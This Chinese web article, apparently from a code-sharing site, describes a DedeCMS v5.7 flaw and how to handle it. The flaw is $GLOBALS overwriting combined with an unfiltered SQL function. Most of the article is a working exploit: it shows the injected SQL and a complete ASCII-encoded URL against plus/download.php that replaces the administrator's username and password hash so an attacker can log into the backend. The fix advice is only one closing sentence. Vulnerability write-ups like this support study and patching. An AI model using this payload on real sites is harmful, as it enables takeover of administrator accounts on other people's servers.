织梦dedecms修改任意管理员漏洞处理方法
<p style='margin: 0px; padding: 5px 0px; outline: none; font-size: 14px; line-height: 30px; font-family: tahoma, arial, "Microsoft YaHei";'>本文实例讲述了织梦dedecms修改任意管理员漏洞处理方法。分享给大家供大家参考。具体分析如下：</p>
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织梦DEDECMS是全国用到最多的cms系统了,正由于用得人多而且是开源的代码,所以分析人也多bug出现不少,根据小编总结出现bug大多是在变量上,这次又是全局变量$GLOBALS可以被任意修改导致的,下面来给各位演示这个bug与处理方法.</p>
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漏洞版本:dedecms v5.7</p>
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漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:<br>
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<span><u>复制代码</u></span>
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代码如下:</div>
<div class="msgborder" id="phpcode11" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
// include/dedesql.class.php <br>
if(isset($GLOBALS['arrs1'])) <br>
{ <br>
$v1 = $v2 = ''; <br>
for($i=0;isset($arrs1[$i]);$i++) <br>
{ <br>
$v1 .= chr($arrs1[$i]); <br>
} <br>
for($i=0;isset($arrs2[$i]);$i++) <br>
{ <br>
$v2 .= chr($arrs2[$i]); //解码ascii <br>
} <br>
$GLOBALS[$v1] .= $v2; www.jb51.net//注意这里不是覆盖，是+ <br>
} <br><br>
function SetQuery($sql) <br>
{ <br>
$prefix="dede_"; <br>
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); <br>
$this->queryString = $sql; <br>
}</div>
<br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><span style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'>下面说下绕过80sec防注入的方法.</span>
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同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2</p>
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而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:<br>
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<span><u>复制代码</u></span>
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代码如下:</div>
<div class="msgborder" id="phpcode12" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
// plus/download.php <br>
else if($open==1) <br>
{ <br>
$id = isset($id) && is_numeric($id) ? $id : 0; <br>
$link = base64_decode(urldecode($link)); <br>
$hash = md5($link); <br>
//这里的#@_是可以控制的 <br>
$rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); <br>
if($rs <= 0) { $query = " INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); <br>
} <br>
header("location:$link"); <br>
exit(); <br>
}</div>
<br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><span style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'>构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:</span><br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><div class="msgheader" style='margin: 3px auto 0px; padding: 0px 3px; outline: none; line-height: 21.6px; clear: both; border-width: 1px; border-style: solid; border-color: rgb(0, 153, 204); background: rgb(246, 251, 255); overflow: hidden; font-family: tahoma, arial, "Microsoft YaHei";'>
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<span><u>复制代码</u></span>
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代码如下:</div>
<div class="msgborder" id="phpcode13" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #</div>
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完整SQL语句,代码如下:<br>
</p>
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<span><u>复制代码</u></span>
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代码如下:</div>
<div class="msgborder" id="phpcode14" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'</div>
<br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><span style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'>测试方法,代码如下:</span><br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><div class="msgheader" style='margin: 3px auto 0px; padding: 0px 3px; outline: none; line-height: 21.6px; clear: both; border-width: 1px; border-style: solid; border-color: rgb(0, 153, 204); background: rgb(246, 251, 255); overflow: hidden; font-family: tahoma, arial, "Microsoft YaHei";'>
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<span><u>复制代码</u></span>
</div>
代码如下:</div>
<div class="msgborder" id="phpcode15" style='margin: 0px auto 3px; padding: 0px 3px; outline: none; line-height: 25.2px; font-size: 14px; clear: both; border-right: 1px solid rgb(0, 153, 204); background: rgb(221, 237, 251); overflow: hidden; border-left: 1px solid rgb(0, 153, 204); word-break: break-all; border-bottom: 1px solid rgb(0, 153, 204); word-wrap: break-word; font-family: tahoma, arial, "Microsoft YaHei";'>
// 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! <br>
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35</div>
<br style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'><span style='font-family: tahoma, arial, "Microsoft YaHei"; font-size: 14px;'>如果不出问题,后台登录用户spider密码admin</span>
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安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.</p>
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希望本文所述对大家的dedecms建站有所帮助。</p>
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